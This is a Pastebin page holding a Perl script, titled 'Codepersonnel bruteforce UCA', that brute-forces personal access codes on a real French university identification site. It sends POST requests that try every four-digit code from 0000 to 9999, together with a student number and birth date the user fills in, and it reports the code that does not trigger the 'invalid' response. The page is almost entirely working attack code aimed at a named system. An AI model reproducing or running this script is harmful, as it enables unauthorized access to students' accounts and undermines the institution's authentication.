Advertisement
Quantumzblue

Codepersonnel bruteforce UCA

Sep 1st, 2016
334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.51 KB | None | 0 0
  1. use strict;
  2. use warnings;
  3. use Data::Dumper;
  4. use LWP::UserAgent;
  5. #trianing time handle
  6. $| = 1;
  7. #========================= Make browser ==================================
  8. my $browser = LWP::UserAgent->new(
  9. agent => '      Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  10. max_redirect => 1,
  11. timeout => 2000,
  12.                                                         );
  13.  # =======================================================================
  14.  my $url = 'https://identification.univ-bpclermont.fr/identifiant.php';
  15.   my $url2 = 'https://identification.univ-bpclermont.fr/charte.php';
  16.   my $gencodepers;
  17. sub main # 12.255.4 => 1
  18. {
  19.  
  20.  
  21. # ================================ Prepare Method post =========================
  22.  
  23. for (my $pregencodepers = 0; $pregencodepers <= 9999; $pregencodepers++) {
  24. if ($pregencodepers <= 9  ){
  25. $gencodepers = '0'.'0'.'0'."$pregencodepers";
  26. }
  27. elsif  ($pregencodepers <= 99 && $pregencodepers >9) {
  28. $gencodepers = '0'.'0'."$pregencodepers";
  29. }
  30. elsif  ($pregencodepers <= 999 && $pregencodepers >99) {
  31. $gencodepers = '0'."$pregencodepers";
  32. }
  33. elsif  ($pregencodepers <= 9999 && $pregencodepers && $pregencodepers >999 ) {
  34. $gencodepers = "$pregencodepers";
  35. }
  36.  
  37. my %post =(
  38.  
  39.          'Submit'=>' Valider ',
  40.          'codeetu'=>'xxxxx',  # remplacez les 'xxxxx' par vote numero dossier
  41.          'codepers'=>"$gencodepers",
  42.          'datenais'=>'JJMMYYYY', #  replacez JJMMYYYY  par date de naissance  exmaple:"26/01/1998
  43.                         );
  44.                        
  45.                         # ============== for chart ============
  46.                         my %post2 =(
  47.  
  48.          'Submit'=>' Valider ',
  49.          'codeetu'=>'xxxxx', # remplacez les 'xxxxx' par vote numero dossier
  50.          'datenaisa'=>'YYYY', #l'anne de naissance
  51.          'datenaisj'=>'28',  #mois de naissance
  52.          'datenaism'=>'07', #  jour de naissance
  53.                         );
  54.                         # ==============  end for chart ============
  55.          
  56.           my $resp2 =$browser->post($url2,\%post2);  # send chart
  57.           my $resp1 =$browser->post($url,\%post);  #send ask code
  58.          
  59.  
  60.            #print Dumper($resp2);
  61.           #print $resp2->content;             # send chart succude
  62.          
  63.         #
  64.          print Dumper($resp1);
  65.           print $resp1->content;
  66.        
  67.            if ($resp1->content =~ /Code personnel non valide/) {
  68.            print 'failed'. $gencodepers."\r\n";
  69.           }
  70.            else{
  71.           print 'Code personnel:'.$gencodepers."trouvee \r\n";
  72.            sleep(0);
  73.            }
  74.           # if ($resp2->is_success && $resp2->status_line =~200 ) {
  75.           # sleep(1);
  76.           # }
  77. }
  78.  
  79.  
  80. }
  81.  
  82.  
  83.  
  84.  
  85. main();
  86.  sleep(5000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement